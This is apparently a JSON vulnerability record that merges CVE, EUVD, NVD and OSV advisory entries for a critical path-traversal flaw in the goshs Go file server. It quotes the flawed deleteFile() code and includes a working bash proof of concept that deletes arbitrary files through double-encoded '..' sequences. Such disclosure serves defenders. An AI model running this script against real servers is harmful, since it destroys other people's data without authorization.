{"id":"GHSA-6qcc-6q27-whp8","revision":null,"records":[{"revision":"bd72b6fd5ae54b7488183be716a55c91","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-35471","aliases":[],"title":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs","description":"goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.3, tdeleteFile() missing return after path traversal check. This vulnerability is fixed in 2.0.0-beta.3.","state":0,"publishedAt":"2026-04-06T21:38:27.657+00:00","modifiedAt":"2026-04-07T16:22:49.068+00:00","affected":[{"ecosystem":"Vendor product","name":"goshs","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"patrickhener\",\n                    \"product\": \"goshs\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.0.0-beta.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-6qcc-6q27-whp8"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-35471","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-35471","identifiers":["CVE-2026-35471"]},"retained":false,"historicalAffected":[]},{"revision":"bcf3534983bf46adb3ebfd310ed9f1c2","observedAt":"2026-11-23T14:33:47.62+00:00","statement":{"source":"euvd","id":"EUVD-2026-19539","aliases":["CVE-2026-35471","GHSA-6qcc-6q27-whp8"],"title":"goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.3, tdeleteFile() missing return after path traversal check. This vulnerability is fixed in 2.0.0-beta.3.","description":"goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.3, tdeleteFile() missing return after path traversal check. This vulnerability is fixed in 2.0.0-beta.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.0","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":null}],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-6qcc-6q27-whp8"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-19539","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 6, 2026, 9:38:27 PM","dateUpdated":"Apr 7, 2026, 4:22:49 PM"},"relatedAdvisories":[{"id":"openSUSE-SU-2026:10542-1","title":"goshs-2.0.0-1.1 on GA media","vulnerabilityIds":["CVE-2026-35392","CVE-2026-35393","CVE-2026-35471","CVE-2026-40188","CVE-2026-40189"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-19539","identifiers":["EUVD-2026-19539","CVE-2026-35471","GHSA-6qcc-6q27-whp8"]},"retained":false,"historicalAffected":[]},{"revision":"75632bf49ea0461aa731204e47e88777","observedAt":"2026-10-25T08:17:41.961+00:00","statement":{"source":"nvd","id":"CVE-2026-35471","aliases":[],"title":"goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.3, tdeleteFile() missing return after path traversal check. This vulnerability is fixed in 2.0.0-beta.3.","description":"goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.3, tdeleteFile() missing return after path traversal check. This vulnerability is fixed in 2.0.0-beta.3.","state":0,"publishedAt":"2026-04-06T22:16:23.913+00:00","modifiedAt":"2026-07-24T21:10:00.143+00:00","affected":[],"metrics":[{"system":"CVSS 3.0 · security-advisories@github.com · Secondary","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-6qcc-6q27-whp8"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35471","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-22"],"productCriteria":["cpe:2.3:a:goshs:goshs:*:*:*:*:*:go:*:*","cpe:2.3:a:goshs:goshs:2.0.0:beta1:*:*:*:go:*:*","cpe:2.3:a:goshs:goshs:2.0.0:beta2:*:*:*:go:*:*"],"sourceDates":{"published":"2026-04-06T22:16:23.913","lastModified":"2026-07-24T21:10:00.143"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-35471","identifiers":["CVE-2026-35471"]},"retained":false,"historicalAffected":[]},{"revision":"9ca976f59dad4b97a515fc14686abfd7","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-6qcc-6q27-whp8","aliases":["CVE-2026-35471","GO-2026-5186"],"title":"goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)","description":"### Summary\n* `deleteFile()` missing return after path traversal check | `httpserver/handler.go:645-671`\n\nThe finding affects the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/handler.go:645-671`\n**Trigger:** `GET /<path>?delete` (handler.go:157-160 dispatches to `deleteFile`)\n\nThe function detects `..` in the decoded path but does not `return`.\n\n```go\nfunc (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {\n    upath := filepath.FromSlash(filepath.Clean(\"/\" + strings.Trim(req.URL.Path, \"/\")))\n\n    fileCleaned, _ := url.QueryUnescape(upath)\n    if strings.Contains(fileCleaned, \"..\") {\n        w.WriteHeader(500)\n        _, err := w.Write([]byte(\"Cannot delete file\"))\n        if err != nil {\n            logger.Errorf(\"error writing answer to client: %+v\", err)\n        }\n        // BUG: no return, falls through to os.RemoveAll\n    }\n\n    deletePath := filepath.Join(fs.Webroot, fileCleaned)\n    err := os.RemoveAll(deletePath)  // always executes\n```\n\n**Root causes:**\nMissing `return` after the guard makes the check dead code\n\n**Impact:** Unauthenticated arbitrary file/directory deletion.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n# Delete an arbitrary file/directory on a running goshs instance.\n# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}\"\nPORT=\"${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}\"\nTARGET=\"${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}\"\n\n# Double-encode \"..\" => %252e%252e\n# We don't know the webroot depth, so use 16 levels (covers most paths).\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n    TRAVERSAL=\"${TRAVERSAL}%252e%252e/\"\ndone\n\n# Strip leading / from target and URL-encode any special chars\nTARGET_REL=\"${TARGET#/}\"\nENCODED_TARGET=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))\")\n\nURL=\"http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete\"\n\necho \"[*] Target:  ${TARGET}\"\necho \"[*] Request: GET ${URL}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \"$URL\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\n```\n\nTo execute it: `./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary`\n\n---\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.","state":0,"publishedAt":"2026-04-03T21:58:47+00:00","modifiedAt":"2026-06-25T19:56:32.5139261+00:00","affected":[{"ecosystem":"Go","name":"github.com/patrickhener/goshs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.1.5-0.20260401172448-237f3af891a9"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-6qcc-6q27-whp8","https://nvd.nist.gov/vuln/detail/CVE-2026-35471","https://github.com/patrickhener/goshs/commit/237f3af891a90df9b903b85f1cd3438040ca261a","https://github.com/patrickhener/goshs"],"sourceUrl":"https://github.com/advisories/GHSA-6qcc-6q27-whp8","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-6qcc-6q27-whp8","identifiers":["GHSA-6qcc-6q27-whp8","CVE-2026-35471","GO-2026-5186"]},"retained":false,"historicalAffected":[]},{"revision":"3e158749a1b642dda15bf29cd0811663","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5186","aliases":["CVE-2026-35471","GHSA-6qcc-6q27-whp8"],"title":"goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) in github.com/patrickhener/goshs","description":"goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) in github.com/patrickhener/goshs","state":0,"publishedAt":"2026-06-25T18:43:15+00:00","modifiedAt":"2026-06-25T19:45:15.22415+00:00","affected":[{"ecosystem":"Go","name":"github.com/patrickhener/goshs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.1.5-0.20260401172448-237f3af891a9"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/patrickhener/goshs/security/advisories/GHSA-6qcc-6q27-whp8","https://nvd.nist.gov/vuln/detail/CVE-2026-35471","https://github.com/patrickhener/goshs/commit/237f3af891a90df9b903b85f1cd3438040ca261a"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5186","license":"OSV · upstream source license applies","key":"osv:GO-2026-5186","identifiers":["GO-2026-5186","CVE-2026-35471","GHSA-6qcc-6q27-whp8"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-24T03:27:20.7872799+00:00","complete":true,"records":1792,"lastAttemptAt":"2026-11-24T03:27:20.7872799+00:00","lastSuccessAt":"2026-11-24T03:27:21.0499364+00:00","error":null,"lastVerifiedAt":"2026-11-24T03:27:21.0499365+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-f6e4a7f93ed9acd6fcb1f804a4567f7b9b16730ac126110af8d6d24176317946-408d2d62e5e1ee202bc4ddcb36cdfc4163a3b9f625f656571d5227a756b73f22","complete":true,"records":430978,"lastAttemptAt":"2026-11-24T03:25:33.3876434+00:00","lastSuccessAt":"2026-11-24T03:25:33.3654925+00:00","error":null,"lastVerifiedAt":"2026-11-24T03:25:33.3876434+00:00","snapshotPublishedAt":"2026-11-24T02:27:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2befaf4fce43427b8f2de0237aab55a0","complete":false,"records":13935,"lastAttemptAt":"2026-11-24T03:37:23.6495493+00:00","lastSuccessAt":"2026-11-24T03:37:23.646+00:00","error":"403 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-24T03:37:23.646+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13203,"expectedIdentifiers":13982,"failedIdentifiers":403},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-24T03:27:20.7872799+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-24T03:27:20.7872799+00:00","lastSuccessAt":"2026-11-24T03:27:21.0510069+00:00","error":null,"lastVerifiedAt":"2026-11-24T03:27:21.0510074+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-522bbc16b5764cfda6f3fb3dab5abf4a","complete":true,"records":13947,"lastAttemptAt":"2026-11-24T03:27:46.3160841+00:00","lastSuccessAt":"2026-11-24T03:27:46.312+00:00","error":null,"lastVerifiedAt":"2026-11-24T03:27:46.312+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13982,"expectedIdentifiers":13982,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c86437892ddabdeaf17409463a17578b1e71dd185d64061100dd57629858f6d6","complete":true,"records":10074,"lastAttemptAt":"2026-11-24T03:27:20.7062774+00:00","lastSuccessAt":"2026-11-23T22:27:19.6557603+00:00","error":null,"lastVerifiedAt":"2026-11-24T03:27:20.7062774+00:00","snapshotPublishedAt":"2026-11-23T21:33:52+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-24T03:25:33.5302894+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-24T03:25:33.5302894+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-15e801f03affdaac7ba10268556f4d0b3e1b9f897dae85fdcade5fc30d25011c","complete":true,"records":3217,"lastAttemptAt":"2026-11-24T03:27:20.7276427+00:00","lastSuccessAt":"2026-11-23T17:27:41.2539213+00:00","error":null,"lastVerifiedAt":"2026-11-24T03:27:20.7276427+00:00","snapshotPublishedAt":"2026-11-23T16:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-d1b862b4f381f96343318aa0a267adfdca63ec56238db239e6875bfd23f8318b","complete":true,"records":232938,"lastAttemptAt":"2026-11-24T03:27:20.5805435+00:00","lastSuccessAt":"2026-11-24T03:27:19.6143847+00:00","error":null,"lastVerifiedAt":"2026-11-24T03:27:20.5805435+00:00","snapshotPublishedAt":"2026-11-24T02:33:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}